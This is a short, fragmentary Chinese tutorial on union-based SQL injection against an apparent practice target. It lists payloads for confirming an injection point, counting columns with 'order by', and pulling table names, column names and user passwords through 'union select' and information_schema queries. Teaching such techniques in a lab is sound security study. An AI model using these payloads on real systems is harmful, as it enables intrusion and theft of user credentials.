SQL注入(一)之union注入
靶机地址:http://59.53.63.23:10772/
在SQL注入的前期,第一件事情就是找到SQL注入点,在找到注入点后开始下面的内容:
一、联合查询法(一)...a.判断注入点:
and 1=1 --返回true,显示正常
and 1=2 --返回false,显示错误
b.猜多少列
order by [数值]
c.联合查询猜表名
union select 1,2,3...,……,7 from users --猜表名并记录返回回显位(报错说明表不存在,将表名更换继续猜)
d.联合查询猜列名
union select 1,2,username,4,5,password,7...select 1,2,database(),version(),user(),6,7
b.得到数据库库名后查当前数据库表名
union select table_name from information_schema.tables...where table_schema=database();
c.在查到的表名中查找列名,假设需要的表名为:user
union select column_name from information_schema.columns